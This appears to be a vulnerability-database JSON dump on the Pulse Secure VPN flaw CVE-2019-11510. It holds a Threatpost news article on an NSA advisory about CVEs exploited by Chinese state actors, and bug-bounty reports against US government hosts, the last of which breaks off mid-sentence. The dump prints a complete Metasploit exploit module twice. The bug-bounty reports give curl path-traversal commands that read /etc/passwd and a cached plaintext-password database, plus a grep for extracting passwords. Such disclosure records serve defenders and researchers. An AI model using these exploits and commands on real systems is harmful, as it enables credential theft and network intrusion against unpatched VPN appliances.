"cvss3": {}, "published": "2020-10-13T16:39:01", "type": "threatpost", "title": "Election Systems Under Attack via Microsoft Zerologon Exploits", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-2021", "CVE-2020-5902"], "modified": "2020-10-13T16:39:01", "id": "THREATPOST:71C45E867DCD99278A38088B59938B48", "href": "https://threatpost.com/election-systems-attack-microsoft-zerologon/160021/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-22T15:51:14", "description": "Chinese state-sponsored cyberattackers are actively compromising U.S. targets using a raft of known security vulnerabilities \u2013 with a Pulse VPN flaw claiming the dubious title of \u201cmost-favored bug\u201d for these groups.\n\nThat\u2019s according to the National Security Agency (NSA), which released a \u201ctop 25\u201d list of the exploits that are used the most by China-linked advanced persistent threats (APT), which include the likes of [Cactus Pete](<https://threatpost.com/cactuspete-apt-toolset-respionage-targets/158350/>), [TA413,](<https://threatpost.com/chinese-apt-sepulcher-malware-phishing-attacks/158871/>) [Vicious Panda](<https://threatpost.com/coronavirus-apt-attack-malware/153697/>) and [Winniti](<https://threatpost.com/black-hat-linux-spyware-stack-chinese-apts/158092/>).\n\nThe Feds [warned in September](<https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/>) that Chinese threat actors had successfully compromised several government and private sector entities in recent months; the NSA is now driving the point home about the need to patch amid this flurry of heightened activity.[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cMany of these vulnerabilities can be used to gain initial access to victim networks by exploiting products that are directly accessible from the internet,\u201d warned the NSA, in its Tuesday [advisory](<https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/2387347/nsa-warns-chinese-state-sponsored-malicious-cyber-actors-exploiting-25-cves/>). \u201cOnce a cyber-actor has established a presence on a network from one of these remote exploitation vulnerabilities, they can use other vulnerabilities to further exploit the network from the inside.\u201d\n\nAPTs \u2013 Chinese and otherwise \u2013 have ramped up their cyberespionage efforts in the wake of the pandemic as well as in the leadup to the U.S. elections next month. But Chlo\u00e9 Messdaghi, vice president of strategy at Point3 Security, noted that these vulnerabilities contribute to an ongoing swell of attacks.\n\n\u201cWe definitely saw an increase in this situation last year and it\u2019s ongoing,\u201d she said. \u201cThey\u2019re trying to collect intellectual property data. Chinese attackers could be nation-state, could be a company or group of companies, or just a group of threat actors or an individual trying to get proprietary information to utilize and build competitive companies\u2026in other words, to steal and use for their own gain.\u201d\n\n## **Pulse Secure, BlueKeep, Zerologon and More**\n\nPlenty of well-known and infamous bugs made the NSA\u2019s Top 25 cut. For instance, a notorious Pulse Secure VPN bug (CVE-2019-11510) is the first flaw on the list.\n\nIt\u2019s an [arbitrary file-reading flaw](<https://www.tenable.com/blog/cve-2019-11510-critical-pulse-connect-secure-vulnerability-used-in-sodinokibi-ransomware>) that opens systems to exploitation from remote, unauthenticated attackers. In April of this year, the Department of Homeland Security\u2019s Cybersecurity and Infrastructure Security Agency (CISA) [warned that](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) attackers are actively using the issue to steal passwords to infiltrate corporate networks. And in fact, this is the bug at the heart of the [Travelex ransomware fiasco](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) that hit in January.\n\nPulse Secure issued a patch in April 2019, but many companies impacted by the flaw still haven\u2019t applied it, CISA warned.\n\nAnother biggie for foreign adversaries is a critical flaw in F5 BIG-IP 8 proxy/load balancer devices ([CVE-2020-5902](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>)). This remote code-execution (RCE) bug exists in the Traffic Management User Interface (TMUI) of the device that\u2019s used for configuration. It allows complete control of the host machine upon exploitation, enabling interception and redirection of web traffic, decryption of traffic destined for web servers, and serving as a hop-point into other areas of the network.\n\nAt the end of June, F5 issued urgent patches the bug, which has a CVSS severity score of 10 out of 10 \u201cdue to its lack of complexity, ease of attack vector, and high impacts to confidentiality, integrity and availability,\u201d researchers said at the time. Thousands of devices were shown to be vulnerable in a Shodan search in July.\n\nThe NSA also flagged several vulnerabilities in Citrix as being Chinese faves, including CVE-2019-19781, which was revealed last holiday season. The bug exists in the Citrix Application Delivery Controller (ADC) and Gateway, a purpose-built networking appliance meant to improve the performance and security of applications delivered over the web. An exploit can lead to RCE without credentials.\n\nWhen it was originally disclosed in December, the vulnerability did not have a patch, and Citrix had to [scramble to push fixes out](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) \u2013 but not before public proof-of-concept (PoC) exploit code emerged, along with active exploitations and mass scanning activity for the vulnerable Citrix products.\n\nOther Citrix bugs in the list include CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196.\n\nMeanwhile, Microsoft bugs are well-represented, including the [BlueKeep RCE bug](<https://threatpost.com/one-million-devices-open-to-wormable-microsoft-bluekeep-flaw/145113/>) in Remote Desktop Services (RDP), which is still under active attack a year after disclosure. The bug tracked as CVE-2019-0708 can be exploited by an unauthenticated attacker connecting to the target system using RDP, to send specially crafted requests and execute code. The issue with BlueKeep is that researchers believe it to be wormable, which could lead to a WannaCry-level disaster, they have said.\n\nAnother bug-with-a-name on the list is [Zerologon](<https://threatpost.com/ryuk-ransomware-gang-zerologon-lightning-attack/160286/>), the privilege-escalation vulnerability that allows an unauthenticated attacker with network access to a domain controller to completely compromise all Active Directory identity services. It was patched in August, but many organizations remain vulnerable, and the DHS recently [issued a dire warning](<https://threatpost.com/dire-patch-warning-zerologon/159404/>) on the bug amid a tsunami of attacks.\n\nThe very first bug ever reported to Microsoft by the NSA, CVE-2020-0601, is also being favored by Chinese actors. This spoofing vulnerability, [patched in January,](<https://threatpost.com/microsoft-patches-crypto-bug/151842/>) exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear that the file was from a trusted, legitimate source.\n\nTwo proof-of-concept (PoC) exploits were publicly released just a week after Microsoft\u2019s January Patch Tuesday security bulletin addressed the flaw.\n\nThen there\u2019s a high-profile Microsoft Exchange validation key RCE bug ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)), which stems from the server failing to properly create unique keys at install time.\n\nIt was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates \u2013 and [admins in March were warned](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that unpatched servers are being exploited in the wild by unnamed APT actors. But as of Sept. 30, at least 61 percent of Exchange 2010, 2013, 2016 and 2019 servers [were still vulnerable](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) to the flaw.\n\n## **The Best of the Rest**\n\nThe NSA\u2019s Top 25 list covers plenty of ground, including a [nearly ubiquitous RCE bug](<https://threatpost.com/critical-microsoft-rce-bugs-windows/145572/>) (CVE-2019-1040) that, when disclosed last year, affected all versions of Windows. It allows a man-in-the-middle attacker to bypass the NTLM Message Integrity Check protection.\n\nHere\u2019s a list of the other flaws:\n\n * CVE-2018-4939 in certain Adobe ColdFusion versions.\n * CVE-2020-2555 in the Oracle Coherence product in Oracle Fusion Middleware.\n * CVE-2019-3396 in the Widget Connector macro in Atlassian Confluence Server\n * CVE-2019-11580 in Atlassian Crowd or Crowd Data Center\n * CVE-2020-10189 in Zoho ManageEngine Desktop Central\n * CVE-2019-18935 in Progress Telerik UI for ASP.NET AJAX.\n * CVE-2019-0803 in Windows, a privilege-escalation issue in the Win32k component\n * CVE-2020-3118 in the Cisco Discovery Protocol implementation for Cisco IOS XR Software\n * CVE-2020-8515 in DrayTek Vigor devices\n\nThe advisory also covers three older bugs: One in Exim mail transfer (CVE-2018-6789); one in Symantec Messaging Gateway (CVE-2017-6327); and one in the WLS Security component in Oracle WebLogic Server (CVE-2015-4852).\n\n\u201cWe hear loud and clear that it can be hard to prioritize patching and mitigation efforts,\u201d NSA Cybersecurity Director Anne Neuberger said in a media statement. \u201cWe hope that by highlighting the vulnerabilities that China is actively using to compromise systems, cybersecurity professionals will gain actionable information to prioritize efforts and secure their systems.\u201d\n", "cvss3": {}, "published": "2020-10-21T20:31:17", "type": "threatpost", "title": "Bug Parade: NSA Warns on Cresting China-Backed Cyberattacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2015-4852", "CVE-2017-6327", "CVE-2018-4939", "CVE-2018-6789", "CVE-2019-0708", "CVE-2019-0803", "CVE-2019-1040", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2020-0601", "CVE-2020-0688", "CVE-2020-10189", "CVE-2020-2555", "CVE-2020-3118", "CVE-2020-5902", "CVE-2020-8193", "CVE-2020-8195", "CVE-2020-8196", "CVE-2020-8515"], "modified": "2020-10-21T20:31:17", "id": "THREATPOST:F8F0749C57FDD3CABE842BDFEAD33452", "href": "https://threatpost.com/bug-nsa-china-backed-cyberattacks/160421/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2023-03-27T16:10:01", "description": "According to its self-reported version, the version of Pulse Connect Secure running on the remote host is prior to 8.1R15.1, 8.2.x < 8.2R12.1, 8.3.x < 8.3R7.1 or 9.x prior to 9.0R3.4. It is, therefore, affected by an arbitrary file read vulnerability due to insufficient user input validation. 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Arbitrary File Disclosure (Metasploit)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2019-08-21T00:00:00", "type": "exploitpack", "title": "Pulse Secure 8.1R15.18.28.39.0 SSL VPN - Arbitrary File Disclosure (Metasploit)", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2019-08-21T00:00:00", "id": "EXPLOITPACK:23F64F82AC4F6039E4EBCB303C604A42", "href": "", "sourceData": "# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)\n# Google Dork: inurl:/dana-na/ filetype:cgi\n# Date: 8/20/2019\n# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera\n# Vendor Homepage: https://pulsesecure.net\n# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4\n# Tested on: Linux\n# CVE : CVE-2019-11510 \nrequire 'msf/core'\nclass MetasploitModule < Msf::Auxiliary\n\tinclude Msf::Exploit::Remote::HttpClient\n\tinclude Msf::Post::File\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name' => 'Pulse Secure - System file leak',\n\t\t\t'Description' => %q{\n\t\t\t\tPulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.\n This exploit reads /etc/passwd as a proof of concept\n This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4\n\t\t\t},\n\t\t\t'References' =>\n\t\t\t [\n\t\t\t [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]\n\t\t\t ],\n\t\t\t'Author' => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],\n\t\t\t'License' => MSF_LICENSE,\n\t\t\t 'DefaultOptions' =>\n\t\t {\n\t\t 'RPORT' => 443,\n\t\t 'SSL' => true\n\t\t },\n\t\t\t))\n\n\tend\n\n\n\tdef run()\n\t\tprint_good(\"Checking target...\")\n\t\tres = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342)\n\n\t\tif res && res.code == 200\n\t\t\tprint_good(\"Target is Vulnerable!\")\n\t\t\tdata = res.body\n\t\t\tcurrent_host = datastore['RHOST']\n\t\t\tfilename = \"msf_sslwebsession_\"+current_host+\".bin\"\n\t\t\tFile.delete(filename) if File.exist?(filename)\n\t\t\tfile_local_write(filename, data)\n\t\t\tprint_good(\"Parsing file.......\")\n\t\t\tparse()\n\t\telse\n\t\t\tif(res && res.code == 404)\n\t\t\t\tprint_error(\"Target not Vulnerable\")\n\t\t\telse\n\t\t\t\tprint_error(\"Ooof, try again...\")\n\t\t\tend\n\t\tend\n\tend\n\tdef parse()\n\t\tcurrent_host = datastore['RHOST']\n\n\t fileObj = File.new(\"msf_sslwebsession_\"+current_host+\".bin\", \"r\")\n\t words = 0\n\t while (line = fileObj.gets)\n\t \tprintable_data = line.gsub(/[^[:print:]]/, '.')\n\t \tarray_data = printable_data.scan(/.{1,60}/m)\n\t \tfor ar in array_data\n\t \t\tif ar != \"............................................................\"\n\t \t\t\tprint_good(ar)\n\t \t\tend\n\t \tend\n\t \t#print_good(printable_data)\n\n\t\tend\n\t\tfileObj.close\n\tend\nend", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "zdt": [{"lastseen": "2019-12-04T20:01:09", "description": "Exploit for multiple platform in category web applications", "cvss3": {}, "published": "2019-08-21T00:00:00", "type": "zdt", "title": "Pulse Secure 8.1R15.1/8.2/8.3/9.0 SSL VPN - Arbitrary File Disclosure Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-11510"], "modified": "2019-08-21T00:00:00", "id": "1337DAY-ID-33140", "href": "https://0day.today/exploit/description/33140", "sourceData": "# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)\r\n# Google Dork: inurl:/dana-na/ filetype:cgi\r\n# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera\r\n# Vendor Homepage: https://pulsesecure.net\r\n# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4\r\n# Tested on: Linux\r\n# CVE : CVE-2019-11510 \r\nrequire 'msf/core'\r\nclass MetasploitModule < Msf::Auxiliary\r\n\tinclude Msf::Exploit::Remote::HttpClient\r\n\tinclude Msf::Post::File\r\n\tdef initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'Pulse Secure - System file leak',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\tPulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.\r\n This exploit reads /etc/passwd as a proof of concept\r\n This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4\r\n\t\t\t},\r\n\t\t\t'References' =>\r\n\t\t\t [\r\n\t\t\t [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]\r\n\t\t\t ],\r\n\t\t\t'Author' => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t 'DefaultOptions' =>\r\n\t\t {\r\n\t\t 'RPORT' => 443,\r\n\t\t 'SSL' => true\r\n\t\t },\r\n\t\t\t))\r\n\r\n\tend\r\n\r\n\r\n\tdef run()\r\n\t\tprint_good(\"Checking target...\")\r\n\t\tres = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342)\r\n\r\n\t\tif res && res.code == 200\r\n\t\t\tprint_good(\"Target is Vulnerable!\")\r\n\t\t\tdata = res.body\r\n\t\t\tcurrent_host = datastore['RHOST']\r\n\t\t\tfilename = \"msf_sslwebsession_\"+current_host+\".bin\"\r\n\t\t\tFile.delete(filename) if File.exist?(filename)\r\n\t\t\tfile_local_write(filename, data)\r\n\t\t\tprint_good(\"Parsing file.......\")\r\n\t\t\tparse()\r\n\t\telse\r\n\t\t\tif(res && res.code == 404)\r\n\t\t\t\tprint_error(\"Target not Vulnerable\")\r\n\t\t\telse\r\n\t\t\t\tprint_error(\"Ooof, try again...\")\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\tdef parse()\r\n\t\tcurrent_host = datastore['RHOST']\r\n\r\n\t fileObj = File.new(\"msf_sslwebsession_\"+current_host+\".bin\", \"r\")\r\n\t words = 0\r\n\t while (line = fileObj.gets)\r\n\t \tprintable_data = line.gsub(/[^[:print:]]/, '.')\r\n\t \tarray_data = printable_data.scan(/.{1,60}/m)\r\n\t \tfor ar in array_data\r\n\t \t\tif ar != \"............................................................\"\r\n\t \t\t\tprint_good(ar)\r\n\t \t\tend\r\n\t \tend\r\n\t \t#print_good(printable_data)\r\n\r\n\t\tend\r\n\t\tfileObj.close\r\n\tend\r\nend\n\n# 0day.today [2019-12-04] #", "sourceHref": "https://0day.today/exploit/33140", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "hackerone": [{"lastseen": "2023-02-03T01:43:50", "bounty": 0.0, "description": "**Summary / Description:**\n\u2588\u2588\u2588\u2588\u2588 is vulnerable to Path Traversal which can lead to remote code execution.\n\n\n\n\n## Impact\nCritical\n\n## Step-by-step Reproduction Instructions\n\n1. Run the following `cURL` command to get the file `/etc/hosts`\n\n```\ncurl --path-as-is -k -D- 'https://\u2588\u2588\u2588\u2588\u2588\u2588\u2588/dana-na/../dana/html5acc/guacamole/../../../../../../etc/hosts?/dana/html5acc/guacamole/#'\n```\n\n\n```\n## File generated by DSNet::Hosts::update at Thu Aug 1 13:24:40 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gcrcknox\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588220.81\tft1ariss\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588220.245\tccimm\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588220.150\tensqrtn\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588220.145\tpthensqtrain\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588212.9\tacrcea0xxb5l035\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588212.64\tacrcea0xxb5l034\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u258818.60\tquestcentral questcentral\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588163.35\thrcremedy\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u258878.107\tafrissimt.rs\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u25888.61\tnetscout\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588205.203\tac0hqa0xxb5l007\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588205.202\tac0hqa0xxb5l006\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588205.200\tacrtna0xxb5l003\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588146.8\tAC0HQC2A0A3B021.RSN.AAC\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588146.7\tAC0HQC2A0A3B020.rsn.aac\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588145.91\tac0hqwsxx04p.rsn.aac\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588145.149\tcaliber11.rsn.aac\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588145.118\tac0hqwsap06p.rsn.aac\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588144.95\tikrome\u2588\u2588\u2588\u2588 ft1ikrome\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588144.91\tAuth\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588144.216\tac0hqc2a0a3b010.rsn.aac\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588197.16\tacft1a0xxb5l005\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588197.15\tacft1a0xxb5l004\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588196.62\tft1ccimm\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588196.28\tft1auth\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588195.247\tac0hldbxx02t\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588195.246\tac0hldbxx01t\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588195.195\tac0hxzndb04t-01\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588195.188\tac0hxznap04t-03\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588195.158\tac0hxznxx24t-02\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588195.133\tft1internal\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588195.127\tac0hxznap03t-03\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588194.78\tws13t.soa\u2588\u2588\u2588\u2588\u2588 ws14t.soa\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588194.165\tft1ensq\u2588\u2588\u2588 ac0hxznxx03t-08-ensq_wls1\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588194.119\trmdwebtopft1\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n```\n\n\nWe can grab any other file on this system:\n\n```\n/data/runtime/mtmp/system\n/data/runtime/mtmp/lmdb/dataa/data.mdb\n/data/runtime/mtmp/lmdb/dataa/lock.mdb\n/data/runtime/mtmp/lmdb/randomVal/data.mdb\n/data/runtime/mtmp/lmdb/randomVal/lock.mdb\n```\n\nThe VPN user and hashed passwords are stored in the `mtmp/system` file, but when users log into the application, it caches the plain-text password into `dataa/data.mdb`. \n\n```\ngrep 'password@9' data.mdb -a\n```\n\nwill get you a load of plain-text passwords\n\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\n## Product, Version, and Configuration (If applicable)\nhttps://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101\n\n## Suggested Mitigation/Remediation Actions\nUpdate the Pulse Connect Secure VPN\n\n## Impact\n\nCritical, an attacker can get code execution with this vulnerability.\n\n## References:\nhttps://hackerone.com/reports/591295\n\nThanks,\nCorben (@cdl)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-08-12T18:42:25", "type": "hackerone", "title": "U.S. Dept Of Defense: [CVE-2019-11510 ] Path Traversal on \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 leads to leaked passwords, RCE, etc", "bulletinFamily": "bugbounty", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2019-12-02T19:46:35", "id": "H1:671857", "href": "https://hackerone.com/reports/671857", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T01:43:51", "bounty": 0.0, "description": "**Summary:**\nPulse Secure has two main vulnerabilities that allow file disclosure and post auth RCE\n**Description:**\nCVE-2019-11510 is a file disclosure due to some normalization issues in pulse secure. I was able to reproduce this by grabbing in the etc/passswd. \nhttps://$hax/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/#\n\nThough the impact of that is very limited, medium to high sec at best. From here we can grab a specific file.\n\nThe file /data/runtime/mtmp/lmdb/dataa/data.mdb contains clear context passwords and usernames, when a user logs in from here we can then access the Pulse secure instance. I stopped here due to not wanting to break the rules of engagements but from here I would log in then exploit a Post auth exploit.\n\n\nHere's a list of files that an attacker would instantly hit\n/data/runtime/mtmp/system\n/data/runtime/mtmp/lmdb/dataa/data.mdb\n/data/runtime/mtmp/lmdb/dataa/lock.mdb\n/data/runtime/mtmp/lmdb/randomVal/data.mdb\n/data/runtime/mtmp/lmdb/randomVal/lock.mdb\n## Impact\nCritical \n## Step-by-step Reproduction Instructions\nWe can only do this using due to browsers messing up the exploit\n\ncurl --path-as-is -k -D- https://\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588/dana-na/../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/#\n\n curl --path-as-is -k -D- https://\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/#\n\n curl --path-as-is -k -D- https://\u2588\u2588\u2588/dana-na/../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/#\n\n## Product, Version, and Configuration (If applicable)\nPulse Secure\n## Suggested Mitigation/Remediation Actions\nPatch pulse immediately\n\n## Impact\n\nAn attacker will be able to download internal files and specifically target a local file which stores clear text passwords when a user login. This also an attacker to access highly sensitive internal areas and even can perform command execution", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-08-12T14:34:14", "type": "hackerone", "title": "U.S. Dept Of Defense: Pulse Secure File disclosure, clear text and potential RCE", "bulletinFamily": "bugbounty", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2019-12-02T19:29:23", "id": "H1:671749", "href": "https://hackerone.com/reports/671749", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-03T01:41:48", "bounty": 0.0, "description": "**Summary:**\nThe Navy has a Pulse Secure SSL VPN (https://\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588/dana-na/auth/url_default/welcome.cgi) that is vulnerable to:\nCVE-2019-11510 - Pre-auth Arbitrary File Reading\nCVE-2019-11539 - Post-auth Command Injection\n\nvulnerable hostname from ssl certificate: \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588.navy.mil\n\nThe pre-auth arbitrary file reading vulnerability (CVE-2019-11510) enables an un-authenicated user to read the file /data/runtime/mtmp/lmdb/dataa/data.mdb from the Pulse VPN device. This files contains admin and other users credentials in plain-text format. This information can be used to log into the pulse device as an administrator.\n\nOnce logged in as an administrator, the 